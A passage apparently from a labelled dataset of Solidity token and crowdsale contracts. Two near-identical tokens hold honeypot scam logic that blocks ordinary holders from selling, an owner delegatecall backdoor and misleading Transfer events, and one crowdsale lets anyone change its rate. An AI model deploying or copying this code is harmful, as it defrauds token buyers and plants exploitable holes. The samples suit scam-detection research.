function allowance(address _owner, address _spender)
public view returns (uint256);
function transfer(address _to, uint256 _value) public returns (bool);
function approve(address _spender, uint256 _value)
public returns (bool);
function transferFrom(address _from, address _to, uint256 _value)
public returns (bool);
event Transfer(
address indexed from,
address indexed to,
uint256 value
);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract StandardToken is ERC20 {
using SafeMath for uint256;
mapping(address => uint256) balances;
mapping (address => mapping (address => uint256)) internal allowed;
uint256 totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_value <= balances[msg.sender]);
require(_to != address(0));
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
require(_to != address(0));
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function increaseApproval(
address _spender,
uint256 _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(
address _spender,
uint256 _subtractedValue
)
public
returns (bool)
{
uint256 oldValue = allowed[msg.sender][_spender];
if (_subtractedValue >= oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
library SafeERC20 {
function safeTransfer(
ERC20 _token,
address _to,
uint256 _value
)
internal
{
require(_token.transfer(_to, _value));
}
function safeTransferFrom(
ERC20 _token,
address _from,
address _to,
uint256 _value
)
internal
{
require(_token.transferFrom(_from, _to, _value));
}
function safeApprove(
ERC20 _token,
address _spender,
uint256 _value
)
internal
{
require(_token.approve(_spender, _value));
}
}
contract NmxToken is StandardToken {
string public constant name = "Numex";
string public constant symbol = "NMX";
uint8 public constant decimals = 18;
uint256 public constant INITIAL_SUPPLY = 1500000 * (10 ** uint256(decimals));
constructor() public {
totalSupply_ = INITIAL_SUPPLY;
balances[msg.sender] = INITIAL_SUPPLY;
emit Transfer(address(0), msg.sender, INITIAL_SUPPLY);
}
}
contract Crowdsale {
using SafeMath for uint256;
using SafeERC20 for ERC20;
ERC20 public token;
address public wallet;
uint256 public rate;
uint256 public weiRaised;
event TokenPurchase(
address indexed purchaser,
address indexed beneficiary,
uint256 value,
uint256 amount
);
constructor(uint256 _rate, address _wallet, ERC20 _token) public {
require(_rate > 0);
require(_wallet != address(0));
require(_token != address(0));
rate = _rate;
wallet = _wallet;
token = _token;
}
function () external payable {
buyTokens(msg.sender);
}
function buyTokens(address _beneficiary) public payable {
uint256 weiAmount = msg.value;
_preValidatePurchase(_beneficiary, weiAmount);
uint256 tokens = _getTokenAmount(weiAmount);
weiRaised = weiRaised.add(weiAmount);
_processPurchase(_beneficiary, tokens);
emit TokenPurchase(
msg.sender,
_beneficiary,
weiAmount,
tokens
);
_updatePurchasingState(_beneficiary, weiAmount);
_forwardFunds();
_postValidatePurchase(_beneficiary, weiAmount);
}
function _preValidatePurchase(
address _beneficiary,
uint256 _weiAmount
)
internal
{
require(_beneficiary != address(0));
require(_weiAmount != 0);
}
function _postValidatePurchase(
address _beneficiary,
uint256 _weiAmount
)
internal
{
}
function _deliverTokens(
address _beneficiary,
uint256 _tokenAmount
)
internal
{
token.safeTransfer(_beneficiary, _tokenAmount);
}
function _processPurchase(
address _beneficiary,
uint256 _tokenAmount
)
internal
{
_deliverTokens(_beneficiary, _tokenAmount);
}
function _updatePurchasingState(
address _beneficiary,
uint256 _weiAmount
)
internal
{
}
function _getTokenAmount(uint256 _weiAmount)
internal view returns (uint256)
{
return _weiAmount.mul(rate);
}
function _forwardFunds() internal {
wallet.transfer(msg.value);
}
}
contract TimedCrowdsale is Crowdsale {
using SafeMath for uint256;
uint256 public openingTime;
uint256 public closingTime;
modifier onlyWhileOpen {
require(block.timestamp >= openingTime && block.timestamp <= closingTime);
_;
}
constructor(uint256 _openingTime, uint256 _closingTime) public {
require(_openingTime >= block.timestamp);
require(_closingTime >= _openingTime);
openingTime = _openingTime;
closingTime = _closingTime;
}
function hasClosed() public view returns (bool) {
return block.timestamp > closingTime;
}
function _preValidatePurchase(
address _beneficiary,
uint256 _weiAmount
)
internal
onlyWhileOpen
{
super._preValidatePurchase(_beneficiary, _weiAmount);
}
}
contract AllowanceCrowdsale is Crowdsale {
using SafeMath for uint256;
using SafeERC20 for ERC20;
address public tokenWallet;
constructor(address _tokenWallet) public {
require(_tokenWallet != address(0));
tokenWallet = _tokenWallet;
}
function remainingTokens() public view returns (uint256) {
return token.allowance(tokenWallet, this);
}
function _deliverTokens(
address _beneficiary,
uint256 _tokenAmount
)
internal
{
token.safeTransferFrom(tokenWallet, _beneficiary, _tokenAmount);
}
}
contract IncreasingPriceCrowdsale is TimedCrowdsale {
using SafeMath for uint256;
uint256 public initialRate;
uint256 public finalRate;
constructor(uint256 _initialRate, uint256 _finalRate) public {
require(_initialRate >= _finalRate);
require(_finalRate > 0);
initialRate = _initialRate;
finalRate = _finalRate;
}
function getCurrentRate() public view returns (uint256) {
uint256 elapsedTime = block.timestamp.sub(openingTime);
uint256 timeRange = closingTime.sub(openingTime);
uint256 rateRange = initialRate.sub(finalRate);
return initialRate.sub(elapsedTime.mul(rateRange).div(timeRange));
}
function _getTokenAmount(uint256 _weiAmount)
internal view returns (uint256)
{
uint256 currentRate = getCurrentRate();
return currentRate.mul(_weiAmount);
}
}
contract NmxCrowdsale is AllowanceCrowdsale, IncreasingPriceCrowdsale {
event CrowdsaleCreated(address owner, uint256 openingTime, uint256 closingTime, uint256 rate);
constructor(
uint256 _openingTime,
uint256 _closingTime,
uint256 _rate,
uint256 _ratePublic,
address _wallet,
StandardToken _token,
address _tokenHolder
)
public
Crowdsale(_rate, _wallet, _token)
AllowanceCrowdsale(_tokenHolder)
TimedCrowdsale(_openingTime, _closingTime)
IncreasingPriceCrowdsale(_rate, _ratePublic)
{
emit CrowdsaleCreated(
msg.sender,
_openingTime,
_closingTime,
_rate);
}
function getCurrentRate() public view returns (uint256) {
uint256 elapsedTime = block.timestamp.sub(openingTime);
uint256 timeRange = closingTime.sub(openingTime);
if (elapsedTime < timeRange.div(2)) {
return initialRate;
} else {
return finalRate;
}
}
} | 1 | 3,740 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract UniswapExchange {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 0 | 1,595 |
pragma solidity ^0.4.18;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
function max64(uint64 a, uint64 b) internal pure returns (uint64) {
return a >= b ? a : b;
}
function min64(uint64 a, uint64 b) internal pure returns (uint64) {
return a < b ? a : b;
}
function max256(uint256 a, uint256 b) internal pure returns (uint256) {
return a >= b ? a : b;
}
function min256(uint256 a, uint256 b) internal pure returns (uint256) {
return a < b ? a : b;
}
}
contract ERC20Basic {
uint256 public totalSupply;
bool public transfersEnabled;
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 {
uint256 public totalSupply;
bool public transfersEnabled;
function balanceOf(address _owner) public constant returns (uint256 balance);
function transfer(address _to, uint256 _value) public returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success);
function approve(address _spender, uint256 _value) public returns (bool success);
function allowance(address _owner, address _spender) public constant returns (uint256 remaining);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping (address => uint256) balances;
modifier onlyPayloadSize(uint numwords) {
assert(msg.data.length == numwords * 32 + 4);
_;
}
function transfer(address _to, uint256 _value) public onlyPayloadSize(2) returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
require(transfersEnabled);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public constant returns (uint256 balance) {
return balances[_owner];
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(address _from, address _to, uint256 _value) public onlyPayloadSize(3) returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
require(transfersEnabled);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public onlyPayloadSize(2) constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool success) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool success) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
}
else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract Ownable {
address public owner;
event OwnerChanged(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function changeOwner(address newOwner) onlyOwner internal {
require(newOwner != address(0));
OwnerChanged(owner, newOwner);
owner = newOwner;
}
}
contract MintableToken is StandardToken, Ownable {
string public constant name = "Dgenex";
string public constant symbol = "DGX";
uint8 public constant decimals = 18;
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished;
modifier canMint() {
require(!mintingFinished);
_;
}
function mint(address _to, uint256 _amount, address _owner) canMint internal returns (bool) {
balances[_to] = balances[_to].add(_amount);
balances[_owner] = balances[_owner].sub(_amount);
Mint(_to, _amount);
Transfer(_owner, _to, _amount);
return true;
}
function finishMinting() onlyOwner canMint internal returns (bool) {
mintingFinished = true;
MintFinished();
return true;
}
function claimTokens(address _token) public onlyOwner {
if (_token == 0x0) {
owner.transfer(this.balance);
return;
}
MintableToken token = MintableToken(_token);
uint256 balance = token.balanceOf(this);
token.transfer(owner, balance);
Transfer(_token, owner, balance);
}
}
contract Crowdsale is Ownable {
using SafeMath for uint256;
address public wallet;
uint256 public weiRaised;
uint256 public tokenAllocated;
function Crowdsale(address _wallet) public {
require(_wallet != address(0));
wallet = _wallet;
}
}
contract DGXCrowdsale is Ownable, Crowdsale, MintableToken {
using SafeMath for uint256;
uint256 weiMaxSale = 10 ether;
mapping (address => uint256) public deposited;
uint256 public constant INITIAL_SUPPLY = 10 * (10 ** 9) * (10 ** uint256(decimals));
uint256 public fundForSale = 5 * (10 ** 9) * (10 ** uint256(decimals));
uint256 public fundDigitalMarket = 2 * (10 ** 9) * (10 ** uint256(decimals));
uint256 public fundTeam = 3 * (10 ** 9) * (10 ** uint256(decimals));
address public addressFundDigitalMarket = 0x4053AB17d8431ae373761197125A67019e56166f;
address public addressFundTeam = 0x34C2B49cF13A31f1017BBbEF165B7ef5fDB04941;
uint256 public countInvestor;
uint256 public rate = 47874;
event TokenPurchase(address indexed beneficiary, uint256 value, uint256 amount);
event TokenLimitReached(uint256 tokenRaised, uint256 purchasedToken);
event Burn(address indexed burner, uint256 value);
function DGXCrowdsale(address _owner, address _wallet)
public
Crowdsale(_wallet)
{
require(_owner != address(0));
owner = _owner;
transfersEnabled = true;
mintingFinished = false;
totalSupply = INITIAL_SUPPLY;
bool resultMintForOwner = mintForOwner(owner);
require(resultMintForOwner);
}
function() payable public {
buyTokens(msg.sender);
}
function buyTokens(address _investor) public payable returns (uint256){
require(_investor != address(0));
uint256 weiAmount = msg.value;
uint256 tokens = validPurchaseTokens(weiAmount);
if (tokens == 0) {revert();}
weiRaised = weiRaised.add(weiAmount);
tokenAllocated = tokenAllocated.add(tokens);
mint(_investor, tokens, owner);
TokenPurchase(_investor, weiAmount, tokens);
if (deposited[_investor] == 0) {
countInvestor = countInvestor.add(1);
}
deposit(_investor);
wallet.transfer(weiAmount);
return tokens;
}
function getTotalAmountOfTokens(uint256 _weiAmount) internal view returns (uint256) {
uint256 amountOfTokens = 0;
uint256 currentTime = now;
if (1522926000 <= currentTime && currentTime < 1524135600) {
amountOfTokens = _weiAmount.mul(rate).mul(130).div(100);
}
if (1524135600 <= currentTime && currentTime <= 1527764400) {
amountOfTokens = _weiAmount.mul(rate).mul(120).div(100);
}
return amountOfTokens;
}
function deposit(address investor) internal {
deposited[investor] = deposited[investor].add(msg.value);
}
function mintForOwner(address _wallet) internal returns (bool result) {
result = false;
require(_wallet != address(0));
balances[_wallet] = balances[_wallet].add(fundForSale);
balances[addressFundTeam] = balances[addressFundTeam].add(fundTeam);
balances[addressFundDigitalMarket] = balances[addressFundDigitalMarket].add(fundDigitalMarket);
result = true;
}
function getDeposited(address _investor) public view returns (uint256){
return deposited[_investor];
}
function setRate(uint256 _newRate) public returns (bool){
require(_newRate > 0);
rate = _newRate;
return true;
}
function validPurchaseTokens(uint256 _weiAmount) public returns (uint256) {
uint256 addTokens = getTotalAmountOfTokens(_weiAmount);
if (_weiAmount > weiMaxSale) {
return 0;
}
if (tokenAllocated.add(addTokens) > fundForSale) {
TokenLimitReached(tokenAllocated, addTokens);
return 0;
}
return addTokens;
}
function ownerBurnToken() public onlyOwner returns (uint256 burnToken) {
uint256 teamAfterBurn = tokenAllocated.mul(60).div(100);
uint256 digitalMarketAfterBurn = tokenAllocated.mul(40).div(100);
burnToken = totalSupply.sub(tokenAllocated);
balances[owner] = 0;
balances[addressFundTeam] = teamAfterBurn;
balances[addressFundDigitalMarket] = digitalMarketAfterBurn;
totalSupply = tokenAllocated.add(teamAfterBurn).add(digitalMarketAfterBurn);
Burn(owner, burnToken);
}
function removeContract() public onlyOwner {
selfdestruct(owner);
}
} | 1 | 3,204 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract VolcanolFloki {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
